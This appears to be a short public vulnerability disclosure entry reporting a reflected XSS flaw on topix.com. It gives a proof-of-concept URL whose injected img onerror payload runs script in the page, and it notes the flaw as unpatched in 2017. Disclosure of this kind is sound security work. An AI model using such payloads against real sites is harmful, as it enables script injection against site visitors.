topix.com XSS vulnerability

Vulnerable URL: http://www.topix.com/ext/law-enforcement?school="%3E%0A%3Cimg src="x"onerror=alertOPENBUGBOUNTY " Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 797 VIP website...